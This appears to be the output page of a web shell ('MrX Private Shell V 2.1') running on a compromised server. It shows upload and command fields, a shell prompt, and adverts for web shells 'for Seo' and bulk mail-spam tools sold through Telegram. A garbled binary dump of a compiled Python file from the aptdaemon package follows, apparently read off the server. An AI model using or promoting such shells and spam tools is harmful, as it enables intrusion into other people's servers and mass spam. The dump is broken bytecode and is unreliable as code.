__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

`�g�����SrSrSrSSKrSSKrSSKrSSKrSSKrSSKr\R"SS5 \R"SS5 \R"S	S5 SSK
r
SS
KJr SSKJ
r
 SSKJr SS
KJr SSKJr SSKJr SSKJr SSK7 SSKJr SSKJr Sr\"\"S55urr"SS\R<5r"SS\5r "SS\5r!"SS\RD5r#"SS \RD5r$"S!S"\RJ5r&"S#S$\RN5r("S%S&\RR5r*"S'S(\RV5r,"S)S*\RZ5r."S+S,\R^5r0"S-S.\R^5r1"S/S0\Rd5r3"S1S2\R^5r4"S3S4\15r5S5r6"S6S7\Rn5r8"S8S9\15r9"S:S;\95r:g)<zE
This module provides widgets to use aptdaemon in a GTK application.
z%Sebastian Heinlein <[email protected]>)�AptConfigFileConflictDialog�AptCancelButton�AptConfirmDialog�AptProgressDialog�AptTerminalExpander�
AptStatusIcon�AptRoleIcon�AptStatusAnimation�AptRoleLabel�AptStatusLabel�AptMediumRequiredDialog�AptMessageDialog�AptErrorDialog�AptProgressBar�DiffView�AptTerminal�N�Vtez2.91�Gdkz3.0�Gtk)�GObject)�GLib)r)r)�Pango)r�)�client)�*)�inline_callbacks)�	deferablec�0�[R"SU5$)N�	aptdaemon)�gettext�dgettext)�msgs �7/usr/lib/python3/dist-packages/aptdaemon/gtk3widgets.py�<lambda>r$;s��� � ��c�2��c�`�\rSrSrSrS\RR4SjrSr	Sr
SrSrg)	r�Az]
Provides a Gtk.Image which shows an icon representing the status of a
aptdaemon transaction
Nc��[RRU5 X lSUl/UlUR
SS5 UbURU5 gg�Nr)r�Image�__init__�
_icon_size�	icon_name�_signals�
set_alignment�set_transaction)�self�transaction�sizes   r#r,�AptStatusIcon.__init__FsR���	�	���4� ��������
����1�a� ��"�� � ��-�#r%c���URHn[R"U5 M /UlURRUR	SUR
55 g)z Connect to the given transaction�status-changedN)r/r�
source_remove�append�connect�_on_status_changed�r2r3�sigs   r#r1�AptStatusIcon.set_transactionQsR���=�=�C����s�#�!���
��
�
���[�0�0�1A�15�1H�1H�J�	Kr%c��Xlg)z.Set the icon size to gtk stock icon size valueN)r-)r2r4s  r#�
set_icon_size�AptStatusIcon.set_icon_sizeYs���r%c��[U5nUc[RnX0R:wa"UR	X0R
5 X0lgg)z3Set the status icon according to the changed statusN)�get_status_icon_name_from_enumr�STOCK_MISSING_IMAGEr.�set_from_icon_namer-)r2r3�statusr.s    r#r;� AptStatusIcon._on_status_changed]sC��2�6�:�	����/�/�I����&��#�#�I���?�&�N�'r%)r-r/r.)
�__name__�
__module__�__qualname__�__firstlineno__�__doc__r�IconSize�DIALOGr,r1r@r;�__static_attributes__�r%r#rrAs-���$(�c�l�l�.A�.A�	.�K��'r%rc�$�\rSrSrSrSrSrSrg)r�gz\
Provides a Gtk.Image which shows an icon representing the role of an
aptdaemon transaction
c��URHn[R"U5 M /UlURRUR	SUR
55 URXR5 g)N�role-changed)r/rr8r9r:�_on_role_changed�roler<s   r#r1�AptRoleIcon.set_transactionlse���=�=�C����s�#�!���
��
�
���[�0�0��15�1F�1F�H�	I����k�+;�+;�<r%c��[U5nUc[RnX0R:wa"UR	X0R
5 X0lgg)z"Show an icon representing the roleN)�get_role_icon_name_from_enumrrDr.rEr-)r2r3�	role_enumr.s    r#rU�AptRoleIcon._on_role_changedtsC��0��;�	����/�/�I����&��#�#�I���?�&�N�'r%)r/r.N)rHrIrJrKrLr1rUrOrPr%r#rrgs���=�'r%rc�p�\rSrSrSrS\RR4SjrSSjr	Sr
SrSrS	r
S
rg)r	�~zS
Provides a Gtk.Image which shows an animation representing the
transaction status
Nc���[RXU5 /UlSUlSUlSUl[
[5n[[5nURX45 gr*)
rr,�	animation�ticker�
frame_counter�iter�#get_status_animation_name_from_enum�STATUS_WAITINGrC�
set_animation)r2r3r4�name�fallbacks     r#r,�AptStatusAnimation.__init__�sQ�����t�$�7������������	�2�>�B��1�.�A�����4�*r%c
��XR:XagUbX0lUR5 /n[R"UR5upV[R
R
5nUb�URU5(a�URXS5nUR5U-n	UR5U-n
[U	5H;n[U
5H)nURURX�-X�-XV55 M+ M= [U5S:�a<X@lSUlUR#URS5 UR%5 OUR#U5 XlgUb8URU5(a"UR'X R5 X lgUR'[R(5 g)z7Show and start the animation of the given name and sizeNr)r.r-�stop_animationr�icon_size_lookup�	IconTheme�get_default�has_icon�	load_icon�
get_height�	get_width�ranger9�	subpixbuf�lenr_rb�set_from_pixbuf�start_animationrErD)
r2rfrgr4r_�width�height�theme�pixbuf�rows�cols�r�cs
             r#re� AptStatusAnimation.set_animation�sp���>�>�!����"�O������	��.�.�t���?����
�
�)�)�+�������t� 4� 4��_�_�T�!�4�F��$�$�&��/�D��#�#�%��-�D��4�[���t��A��$�$�V�%5�%5�a�i���6;�&E�F�%�!��9�~��!�!*����	��$�$�T�^�^�A�%6�7��$�$�&��$�$�V�,�!�N�
�
!�e�n�n�X�&>�&>��#�#�H�o�o�>�%�N��#�#�C�$;�$;�<r%c�r�URS:Xa'[R"SUR5Ulgg)zStart the animationr��N)r`r�timeout_add�_advance�r2s r#rv�"AptStatusAnimation.start_animation�s+���;�;�!���*�*�3��
�
�>�D�K�r%c�t�URS:wa([R"UR5 SUlgg)zStop the animationrN)r`rr8r�s r#rj�!AptStatusAnimation.stop_animation�s,���;�;�!�����t�{�{�+��D�K�r%c��URS5SLaSUlgURS-UlUR[UR5:�aSUlURURUR5 g)z`
Show the next frame of the animation and stop the animation if the
widget is no longer visible
�visibleFrrT)�get_propertyr`rbrtr_rur�s r#r��AptStatusAnimation._advance�sj��
���Y�'�5�0��D�K���I�I��M��	��9�9��D�N�N�+�+��D�I����T�^�^�D�I�I�6�7�r%c�R�[U5n[U5nURX45 g)z3
Set the animation according to the changed status
N)rcrCre)r2r3rFrfrgs     r#r;�%AptStatusAnimation._on_status_changed�s&��3�6�:��1�&�9�����4�*r%)r-r_rar.rbr`�NN)rHrIrJrKrLrrMrNr,rervrjr�r;rOrPr%r#r	r	~s7���$(�c�l�l�.A�.A�+�=�@?�
��+r%r	c�.�\rSrSrSrSSjrSrSrSrg)	r
���4
Status label for the running aptdaemon transaction
Nc��[RU5 URSS5 UR[R
R5 URS5 /UlUbURU5 gg�Nr�)
�GtkLabelr,r0�
set_ellipsizer�
EllipsizeMode�END�set_max_width_charsr/r1�r2r3s  r#r,�AptRoleLabel.__init__�sh�����$�����1�a� ����5�.�.�2�2�3�� � ��$���
��"�� � ��-�#r%c��URHn[R"U5 M /UlURXR5 URRUR
SUR55 g)�;Connect the status label to the given aptdaemon transactionrTN)r/rr8rUrVr9r:r<s   r#r1�AptRoleLabel.set_transaction�se���=�=�C����s�#�!���
����k�+;�+;�<��
�
���[�0�0��15�1F�1F�H�	Ir%c�8�UR[U55 g)zSet the role text.N)�
set_markup�$get_role_localised_present_from_enum)r2r3rVs   r#rU�AptRoleLabel._on_role_changed�s�����<�T�B�Cr%�r/�N)	rHrIrJrKrLr,r1rUrOrPr%r#r
r
�s���.�I�Dr%r
c�4�\rSrSrSrS	SjrSrSrSrSr	g)
r��r�Nc��[RRU5 URSS5 UR	[
RR5 URS5 /Ul	UbURU5 ggr�)r�Labelr,r0r�rr�r�r�r/r1r�s  r#r,�AptStatusLabel.__init__�sl���	�	���4� ����1�a� ����5�.�.�2�2�3�� � ��$���
��"�� � ��-�#r%c�8�URHn[R"U5 M /UlURRUR	SUR
55 URRUR	SUR55 g)r�r7zstatus-details-changedN)r/rr8r9r:r;�_on_status_details_changedr<s   r#r1�AptStatusLabel.set_transaction�s}���=�=�C����s�#�!���
��
�
������ 0�$�2I�2I�J�	L��
�
������ 8� $� ?� ?�
A�	Br%c�8�UR[U55 g)z3Set the status text according to the changed statusN)r��get_status_string_from_enum�r2r3rFs   r#r;�!AptStatusLabel._on_status_changeds�����3�F�;�<r%c�&�URU5 g)z.Set the status text to the one reported by aptN)r�)r2r3�texts   r#r��)AptStatusLabel._on_status_details_changeds������r%r�r�)
rHrIrJrKrLr,r1r;r�rOrPr%r#rr�s���.�	B�=�r%rc�:�\rSrSrSrS
SjrSrSrSrSr	S	r
g)rizT
Provides a Gtk.Progress which represents the progress of an aptdaemon
transactions
Nc��[RRU5 UR[R
R5 URS5 URS5 /Ul	UbURU5 gg)N� g�������?)r�ProgressBarr,r�rr�r��set_text�set_pulse_stepr/r1r�s  r#r,�AptProgressBar.__init__sh����� � ��&����5�.�.�2�2�3��
�
�c�����D�!���
��"�� � ��-�#r%c��URHn[R"U5 M /UlURRUR	SUR
55 URRUR	SUR55 URRUR	SUR55 g)z;Connect the progress bar to the given aptdaemon transaction�finishedzprogress-changedzprogress-details-changedN)r/rr8r9r:�_on_finished�_on_progress_changed�_on_progress_detailsr<s   r#r1�AptProgressBar.set_transactions����=�=�C����s�#�!���
��
�
������
�D�,=�,=�>�	@��
�
������ 2�D�4M�4M�N�	P��
�
���[�0�0�1K�15�1J�1J�L�	Mr%c�Z�US:�aUR5 gURUS-5 g)zB
Update the progress according to the latest progress information
�dgY@N)�pulse�set_fraction)r2r3�progresss   r#r��#AptProgressBar._on_progress_changed%s'���c�>��J�J�L����h��.�/r%c��US:XaUS:XaURS5 gUS:wa]UR[S5[R"U5[R"U5[R"U54-5 gUR[S5[R"U5[R"U54-5 g)zG
Update the progress bar text according to the latest progress details
rr�NzDownloaded %sB of %sB at %sB/s�Downloaded %sB of %sB)r��_r�get_size_string)r2r3�
items_done�items_total�
bytes_done�bytes_total�speed�etas        r#r��#AptProgressBar._on_progress_details.s���
�!���q� 0��M�M�#����A�:��M�M�!�<�=�!�1�1�*�=�!�1�1�+�>�!�1�1�%�8�:�:�
;�

�M�M�!�3�4�!�1�1�*�=�!�1�1�+�>�@�@�
Ar%c�&�URS5 g)z9Set the progress to 100% when the transaction is completerN)r�)r2r3�exits   r#r��AptProgressBar._on_finished@s�����!�r%r�r�)rHrIrJrKrLr,r1r�r�r�rOrPr%r#rrs"���.�
M�0�A�$r%rc�0�\rSrSrSSjrSrSrSrSrg)	�AptDetailsExpanderiENc���[RRU[S5S9 X l/UlUR
S5 URS5 UR(a[5Ul	OSUl	[5Ul[R"5Ul
URR[RR 5 URR#[R$R&[R$R(5 URR+UR5 URR-S5 [R."5nUR1URSSS5 UR(aUR1URSSS5 UR+U5 UbUR3U5 gg)N�Details��labelFr�Tr)r�Expanderr,r��
show_terminalr/�
set_sensitive�set_expandedr�terminal�AptDownloadsView�
download_view�ScrolledWindow�download_scrolled�set_shadow_type�
ShadowType�	ETCHED_IN�
set_policy�
PolicyType�NEVER�	AUTOMATIC�add�set_min_content_height�HBox�
pack_startr1)r2r3r��hboxs    r#r,�AptDetailsExpander.__init__GsY�������d�!�I�,��7�%����
����5�!����%� ����'�M�D�M� �D�M�-�/���!$�!3�!3�!5������.�.�s�~�~�/G�/G�H����)�)�#�.�.�*>�*>�*-�.�.�*B�*B�	D����"�"�4�#5�#5�6����5�5�c�:��x�x�z������.�.��d�A�>��=�=��O�O�D�M�M�4��q�9�������"�� � ��-�#r%c��URHn[R"U5 M URRUR	SUR
55 URRUR	SUR55 UR(aURRU5 URRU5 g)r�r7�terminal-attached-changedN)
r/rr8r9r:r;�_on_terminal_attached_changedr�r1r�r<s   r#r1�"AptDetailsExpander.set_transaction`s����=�=�C����s�#�!��
�
������ 0�$�2I�2I�J�	L��
�
������ ;� $� B� B�
D�	E��=�=��M�M�)�)�+�6����*�*�;�7r%c��U[[4;aXURS5 URR	5 UR
(aUR
R
5 ggU[:XazURR
5 UR
(a,UR
R	5 URS5 gURS5 URS5 gURR
5 UR
(aUR
R
5 URS5 URS5 g)NTF)	�STATUS_DOWNLOADING�STATUS_DOWNLOADING_REPOr�r��showr��hide�STATUS_COMMITTINGr��r2�transrFs   r#r;�%AptDetailsExpander._on_status_changedms����(�*A�B�B����t�$��"�"�'�'�)��}�}��
�
�"�"�$��
�(�
(��"�"�'�'�)��}�}��
�
�"�"�$��"�"�4�(��!�!�%�(��"�"�5�)��"�"�'�'�)��}�}��
�
�"�"�$����u�%����e�$r%c�Z�U(a$UR(aURS5 ggg)z&Connect the terminal to the pty deviceTN)r�r��r2r3�attacheds   r#r��0AptDetailsExpander._on_terminal_attached_changed�s ����
�
����t�$�&�8r%)r/r�r�r�r��NT)	rHrIrJrKr,r1r;r�rOrPr%r#r�r�Es��.�28�%�*%r%r�c�*�\rSrSrSSjrSrSrSrg)ri�Nc��[RRU5 /Ul[R
"5uUlUl[R"UR5Ul
URSS5 URS5 URRUR55 UbUR!U5 gg)N�P�T)r�Terminalr,r/�pty�openpty�_master�_slave�os�ttyname�_ttyname�set_size�set_vexpand�set_pty�Pty�new_foreign_syncr1r�s  r#r,�AptTerminal.__init__�s��������d�#���
�$'�K�K�M�!���d�k��
�
�4�;�;�/��
��
�
�b�"����������S�W�W�-�-�d�l�l�;�<��"�� � ��-�#r%c��URHn[R"U5 M URRUR	SUR
55 XlURRUR5 g)r�r�N)	r/rr8r9r:r��_transaction�set_terminalrr<s   r#r1�AptTerminal.set_transaction�sl���=�=�C����s�#�!��
�
������ ;� $� B� B�
D�	E�(�����&�&�t�}�}�5r%c�&�URU5 g)zShow the terminalN�r�r�s   r#r��)AptTerminal._on_terminal_attached_changed�s�����8�$r%)r
r/rrrr�)rHrIrJrKr,r1r�rOrPr%r#rr�s��	.�6�%r%rc�:�\rSrSrSrS
SjrSrSrSrSr	S	r
g)ri�zN
Provides a Gtk.Button which allows to cancel a running aptdaemon
transaction
Nc��[RRU5 URS5 UR	[R
5 UR
S5 /UlUbURU5 ggr)	r�Buttonr,�
set_use_stock�	set_label�STOCK_CANCELr�r/r1r�s  r#r,�AptCancelButton.__init__�sb���
�
���D�!����4� ����s�'�'�(����4� ���
��"�� � ��-�#r%c�r�URHn[R"U5 M /UlURRUR	SUR
55 URRUR	SUR55 UR	SURU5 g)r�r�zcancellable-changed�clickedN)r/rr8r9r:r��_on_cancellable_changed�_on_clickedr<s   r#r1�AptCancelButton.set_transaction�s����=�=�C����s�#�!���
��
�
������
�D�,=�,=�>�	@��
�
������ 5� $� <� <�
>�	?�	
���Y�� 0� 0�+�>r%c�&�URU5 g)zI
Enable the button if cancel is allowed and disable it in the other case
Nr)r2r3�cancellables   r#r%�'AptCancelButton._on_cancellable_changed�s��	
���;�'r%c�&�URS5 g�NFrr�s   r#r��AptCancelButton._on_finished�s�����5�!r%c�F�UR5 URS5 gr,)�cancelr�)r2�buttonr3s   r#r&�AptCancelButton._on_clicked�s���������5�!r%r�r�)rHrIrJrKrLr,r1r%r�r&rOrPr%r#rr�s ���.�
?�(�"�"r%rc�X�\rSrSrSr\"\"S55urrr	S
Sjr
SrSrSr
S	rg)r�i�zXA Gtk.TreeView which displays the progress and status of each dowload
of a transaction.
�Nc���[RRU5 [R"[R
[R[R
5nURU5 URS5 SURl
URS5 0Ul/Ul
UbURU5 [R"5n[ R"R$URl[R("[+S55nUR-US5 UR/USUR05 [R2"5n[R("[+S55nUR-US5 UR5XPR6S5 UR9U5 UR9U5 UR;UR<5 g)NTF�File�markup�%)r�TreeViewr,�	ListStorer�TYPE_STRING�TYPE_INT�	set_modelr�props�headers_visible�set_rules_hint�
_download_mapr/r1�CellRendererTextrr�r��	ellipsize�TreeViewColumnr�r��
add_attribute�COL_TEXT�CellRendererProgress�set_cell_data_func�_data_progress�
append_column�set_tooltip_column�COL_URI)r2r3�model�cell_uri�column_download�
cell_progress�column_progresss       r#r,�AptDownloadsView.__init__�sk�������d�#��
�
�g�1�1�7�3C�3C�%�1�1�3�����u�������%*��
�
�"����D�!������
��"�� � ��-��'�'�)��#(�#6�#6�#:�#:���� ��,�,�Q�v�Y�7���"�"�8�T�2��%�%�h��$�-�-�H��0�0�2�
��,�,�Q�s�V�4���"�"�=�$�7��*�*�=�:M�:M�+/�	1����?�+����?�+�������-r%c���URHn[R"U5 M /UlURRUR	SUR
55 g)z<Connect the download view to the given aptdaemon transactionzprogress-download-changedN)r/rr8r9r:�_on_download_changedr<s   r#r1� AptDownloadsView.set_transaction�sR���=�=�C����s�#�!���
��
�
���[�0�0�1L�15�1J�1J�L�	Mr%c���[US-U-5nU[:XaSnUS:�aSnUSSn	U	S-
n	U[:Xa<U	[	S5[
R"U5[
R"U54--
n	OSU[:Xa;US:wa&U	[	S5[
R"U5--
n	OU	[	S5-
n	OU	[U5-
n	U	S	-
n	UR5n
U
(dgURUnU
RX�RU	5 U
RX�RU5 g![a SnGN,f=f![a� U
RX�U45nX�RU'UR5nU(aaUR!5UR#5-UR%5:Hn
U
(a&UR'U
R)U5SS
S
S
5 gggf=f)z)Callback for a changed download progress.r����N�
<small>r�rzDownloaded %sB�
Downloaded�</small>F)�int�ZeroDivisionError�
DOWNLOAD_DONE�DOWNLOAD_FETCHINGr�rr��get_download_status_from_enum�	get_modelr@�	set_valuerE�COL_PROGRESS�KeyErrorr9�get_vadjustment�	get_value�
get_page_size�	get_upper�scroll_to_cell�get_path)r2r3�urirF�desc�	full_size�
downloaded�messager�r�rLrb�adj�is_scrolled_downs              r#rS�%AptDownloadsView._on_download_changed�s���	��:��+�i�7�8�H��]�"��H��c�>��H��A�w�������&�&��Q�.�/��,�,�Z�8��,�,�Y�7�9�9�
:�D��}�
$��A�~���+�,��/�/�	�:�;�<����,��'���1�&�9�9�D��
������ ����	?��%�%�c�*�D�"
�O�O�D�-�-��6��O�O�D�"3�"3�X�>��]!�	��H�	��:�	I��<�<��� 5�6�D�&*���s�#��&�&�(�C���M�M�O�c�&7�&7�&9�9�S�]�]�_�L�!�#��'�'����t�,�d�E�5�%�I�$��	I�s$�D0�(E�0E�?E�BG)�(G)c��URX@R5nUS:XaXbRlgXbRlg)NrV)rdrar=r��value)r2�column�cellrLrb�datar�s       r#rH�AptDownloadsView._data_progress,s1���?�?�4�):�):�;���r�>�'�J�J��'�J�J�r%)r@r/r�)rHrIrJrKrL�listrrrErarKr,r1rSrHrOrPr%r#r�r��s3���'+�5��8�n�#�H�l�G�.�6M�3?�j(r%r�c���\rSrSrSrS\RR\RS40r	SSjr
SrSrS	r
S
r\SSj5r\S5rS
rSrSrSrSrSrg)ri4z�
Complete progress dialog for long taking aptdaemon transactions, which
features a progress bar, cancel button, status icon and label
r�rPNc��[RRXS9 SUlX@lURS5 UR
S5 UR5RS5 [U5Ul
UR5RURSSS5 [R"5nURS5 URS5 [5UlURURSSS5 [R "5nURS5 [R""5UlUR$R'SS5 URUR$SSS5 [R "5nURS5 [)5UlURUR*SSS5 [-5UlUR.R1S[25 URUR.SSS5 URUSSS5 URUSSS5 [5US9UlUR6R9SUR:5 URUR6SSS5 UR5RUSSS5 SUl/UlURAS	5 URC5 UR*RES
S5 [FRHRJ[FRHRL-nURO5RQU5 UbURUU5 UR9SURV5 g![Ra6 URO5RQ[FRH"U55 Npf=f)
N��parent�Fr�T)r��notify::expanded��^rVzdelete-event),r�Dialogr,�_expanded_size�debconf�set_border_width�
set_resizable�get_content_area�set_spacingr�
button_cancel�get_action_arear�r�r�icon�VBoxr��
label_roler0rr�rr�r;rdr��expanderr:�_on_expandedrr/�	set_title�realize�set_size_requestr�
WMFunction�MOVE�RESIZE�
get_window�
set_functions�	TypeErrorr1�_on_dialog_delete_event)	r2r3r{r�r�r��vbox�
vbox_progress�	functionss	         r#r,�AptProgressDialog.__init__=s����
�
���D��0�"��������a� ����5�!�����+�+�A�.�,�[�9�������)�)�$�*<�*<�e�U�A�N��x�x�z����������a� ��M��	�����	�	�5�$��2��x�x�z��������)�)�+������%�%�a��+���������a�8����
�
��!�!�!�$�&�(��
�� � �����t�Q�?�#�%��
��
�
�%�%�d�N�;�� � ����U�D�!�<����
�u�d�A�6�����d�D�!�,�*�H�=��
��
�
���0�$�2C�2C�D�����
�
�t�T�1�5�����*�*�4��t�Q�?� �����
����r�������
�
�&�&�s�B�/��N�N�'�'�#�.�.�*?�*?�?�	�	G��O�O��+�+�I�6��"�� � ��-����^�T�%A�%A�B��
�	G��O�O��+�+�C�N�N�9�,E�F�	G�s�N�=O�Oc�8�URR5 gr)r�r$)r2�dialog�events   r#r��)AptProgressDialog._on_dialog_delete_eventqs�����"�"�$�r%c��UR5(dKURRR5UR	54UlUR
S5 gUR
(alUR
S5 UR
unupEX0RRR5:waUR5 gURXE5 gUR
S5 UR5 g)NFT)	�get_expandedr�r��get_visible�get_sizer�r��_resize_to_show_details�resize)r2r��param�term_visible�stored_width�
stored_heights      r#r��AptProgressDialog._on_expandedus����$�$�&�&�#'�=�=�#9�#9�#E�#E�#G�#'�=�=�?�#4�D�����u�%�
�
 �
 ����t�$�:>�:M�:M�7�L�7�<��}�}�5�5�A�A�C�C��,�,�.����L�8����t�$��(�(�*r%c��UR5upURR5RnURR5RnURR
R
5(akURR
R5S-nURR
R5S-nURXS-
U-Xd-
U-5 gURUS-US-5 g)aResize the window to show the expanded details.

Unfortunately the expander only expands to the preferred size of the
child widget (e.g showing all 80x24 chars of the Vte terminal) if
the window is rendered the first time and the terminal is also visible.
If the expander is expanded afterwards the window won't change its
size anymore. So we have to do this manually. See LP#840942
rrr�r�N)
r�r��get_allocationrwrxr�r��get_char_width�get_char_heightr�)r2�	win_width�
win_height�	exp_width�
exp_height�terminal_width�terminal_heights       r#r��)AptProgressDialog._resize_to_show_details�s���!%�
�
���	��M�M�0�0�2�8�8�	��]�]�1�1�3�:�:�
��=�=�!�!�-�-�/�/�!�]�]�3�3�B�B�D�r�I�N�"�m�m�4�4�D�D�F��K�O��K�K��2�Y�>�'�4�z�A�
C�
�K�K�	�C���c�)9�:r%c��U[:Xa;URRR5(aUR	5 gggr�)r�r�r�r�r�r�s   r#r;�$AptProgressDialog._on_status_changed�s<��
�'�'��
�
�&�&�2�2�4�4��(�(�*�5�
(r%c�(�URXUXE5$)a@Run the transaction and show the progress in the dialog.

Keyword arguments:
attach -- do not start the transaction but instead only monitor
          an already running one
close_on_finished -- if the dialog should be closed when the
          transaction is complete
show_error -- show a dialog with the error message
)�_run)r2�attach�close_on_finished�
show_error�
reply_handler�
error_handlers      r#�run�AptProgressDialog.run�s���y�y��J�&�7�	7r%c#�# �URRSURX#5nURR	U5 U(aURR5v� OJUR(aURRS5v� URR5v� UR5 U(aU"5 gg![anU(a
U"U5 SnAgeSnAff=f7f)Nr��gnome)rr:r�r/r9�syncr��set_debconf_frontendr��show_all�	Exception)r2r�r�r�r�r�r=�errors        r#r��AptProgressDialog._run�s����	 ��#�#�+�+�J��8I�8I�,=�K�C��M�M� � ��%���'�'�,�,�.�.��<�<��+�+�@�@��I�I��'�'�+�+�-�-��M�M�O������
�	���e�$�$���		�s5�C;�CC�C;�
C8�C3�-C;�2C3�3C8�8C;c�x�[U5nURU5 URRSU-5 g)z8Show the role of the transaction in the dialog interfacez<big><b>%s</b></big>N)r�r�r�r�)r2r3rZrVs    r#rU�"AptProgressDialog._on_role_changed�s0��3�I�>�����t�����"�"�#9�D�#@�Ar%c�&�URHn[R"U5 M /UlURRUR	SUR
55 URRUR
SUR55 URRUR
SUR55 URRUR
SUR55 URXR5 URRU5 URRU5 URRU5 URRU5 Xlg)z5Connect the dialog to the given aptdaemon transactionr7rTzmedium-requiredzconfig-file-conflictN)r/rr8r9�
connect_afterr;r:rU�_on_medium_required�_on_config_file_conflictrVr�r1r�r�r�rr<s   r#r1�!AptProgressDialog.set_transaction�s:���=�=�C����s�#�!���
��
�
����%�%�&6�&*�&=�&=�
?�	@�	
�
�
���[�0�0��15�1F�1F�H�	I��
�
���[�0�0�1B�15�1I�1I�K�	L��
�
���[�0�0�1G�!�:�:�<�	=����k�+;�+;�<��
�
�%�%�k�2��	�	�!�!�+�.��
�
�"�"�;�/��
�
�%�%�k�2�'�r%c��[X#U5nUR5nUR5 U[RR
:XaURRU5 gURR5 gr�)	rr�r�r�ResponseType�OKr�provide_mediumr/)r2r3�medium�driver��ress      r#r��%AptProgressDialog._on_medium_required�s\��(���=���j�j�l�����
��#�"�"�%�%�%����,�,�V�4����$�$�&r%c�
�[X#U5nUR5nUR5 U[RR
:XaURRUS5 gURRUS5 g)N�replace�keep)rr�r�rr��YESr�resolve_config_file_conflict)r2r3�old�newr�r�s      r#r��*AptProgressDialog._on_config_file_conflict�sb��,�S�t�<���j�j�l�����
��#�"�"�&�&�&����:�:�3�	�J����:�:�3��Gr%c��U(aUR5 U[:XaGU(a@[URRU5nUR5 UR5 UR
S5 g)Nr�)r��EXIT_FAILEDrrr�r��emit)r2r3rF�closer��err_dias      r#r��AptProgressDialog._on_finished�sN����I�I�K��[� �Z�$�T�%6�%6�%<�%<�d�C�G��K�K�M��L�L�N��	�	�*�r%)
r�r/rr�r�r�r�r�r�r�)NNTT)FTTNN)rHrIrJrKrLr�SignalFlags�	RUN_FIRST�	TYPE_NONE�__gsignals__r,r�r�r�r;rr�rr�rUr1r�r�r�rOrPr%r#rr4s����
��!4�!4�!>�!>�!(�!2�!2�B�!8�9�L�@D��2C�h�+�,;�(+��CG�.2�7��7�� �� �,B�(�*'�H�r%rc�,�\rSrSrSrSSjrSrSrg)�_ExpandableDialogizDialog with an expander.Nc��U(d*[R[RR4n[RRXS9 UR
S5 UR"U6 URS5 URS5 UR5RS5 U(d[Rn[RRU[RR 5nUR#SS5 [R$"5n	U	RS5 U	RS5 [R&"5n
U
RS5 U	R)USSS5 U	R)U
SSS5 [R*"5UlUR,R/S5 UR,R#SS5 UR,R1S5 U
R)UR,SSS5 UR5R)U	SSS5 [R2"US9UlUR4RS5 UR4R7S5 UR4R9S	UR:5 S
UlU
R)UR4SSS5 SnU(aSU-nU(aU(aUS-
nX�-
nUR,R?U5 U(aUR4RAU5 g
UR4RCS5 g
)
a�Return an _AptDaemonDialog instance.

Keyword arguments:
parent -- set the dialog transient for the given Gtk.Window
stock_type -- type of the Dialog, defaults to Gtk.STOCK_DIALOG_QUESTION
expanded_child -- Widget which should be expanded
expander_label -- label for the expander
title -- a news header like title of the dialog
message -- the message which should be shown in the dialog
buttons -- tuple containing button text/reponse id pairs, defaults
           to a close button
rzrFr|r}rTr�r~Nz<b><big>%s</big></b>z

)"r�STOCK_CLOSEr��CLOSEr�r,r��add_buttonsr�r�r�r��STOCK_DIALOG_QUESTIONr+�new_from_stockrMrNr0r�r�r�r�r��set_selectable�
set_line_wrapr�r��set_use_underliner:r�r�r�r�r�)r2r{�
stock_type�expanded_child�expander_label�titlerm�buttonsr��	hbox_base�	vbox_leftr�s            r#r,�_ExpandableDialog.__init__ss�������(8�(8�(>�(>�?�G��
�
���D��0����r�����'�"����5�!����a� �����+�+�B�/���2�2�J��y�y�'�'�
�C�L�L�4G�4G�H�����1�a� ��H�H�J�	����b�!��"�"�1�%��H�H�J�	����b�!����T�5�$��2����Y��d�A�6��Y�Y�[��
��
�
�!�!�$�'��
�
� � ��A�&��
�
� � ��&����T�Z�Z���a�8�����*�*�9�d�D�!�D����>�:��
��
�
�!�!�!�$��
�
�'�'��-��
�
���0�$�2C�2C�D�"������T�]�]�D�$��:����)�E�1�D��������O�D��
�
���d�#���M�M���n�-��M�M�'�'��.r%c�H�UR5(aQURS5 UR(a.URURSURS5 ggUR
5UlURS5 g![[
4a gf=f)NTrrF)r�r�r�r��
IndexErrorr�r�)r2r�r�s   r#r��_ExpandableDialog._on_expandedCs���� � �"�"����t�$��"�"���K�K�� 3� 3�A� 6��8K�8K�A�8N�O�#�#'�-�-�/�D�����u�%��	#�I�.����s�,B�B!� B!)r�r�r�)NNNNNNN)rHrIrJrKrLr,r�rOrPr%r#r�r�s��"�DH�HL�:/�x&r%r�c�"�\rSrSrSrSSjrSrg)riUz Dialog to ask for medium change.Nc���[RRX[RRS9 [S5U-n[S5U-nUR
SU<SU<35 UR[R[RR[S5[RR5 UR[RR5 g)N)r{�typezCD/DVD '%s' is requiredzXPlease insert the above CD/DVD into the drive '%s' to install software packages from it.z<big><b>z</b></big>

�	C_ontinue)
r�
MessageDialogr,�MessageType�INFOr�r�r�r!r��CANCELr��set_default_response)r2r�r�r{r�rjs      r#r,� AptMediumRequiredDialog.__init__Ys������"�"�4�(+���(<�(<�	#�	>��*�+�f�4���6�7�9>�?������d�C�D�����)�)�3�+;�+;�+B�+B��;���)9�)9�)<�)<�	>��!�!�#�"2�"2�"5�"5�6r%rPr��rHrIrJrKrLr,rOrPr%r#rrUs
��*�7r%rc�@�\rSrSrSrSSjrSrSrSrSr	S	r
S
rg)rigzGDialog to confirm the changes that would be required by a
transaction.
Nc�@
�[RRXS9 UR[R[R
R5 UR[S5[R
R5 X l	Xl
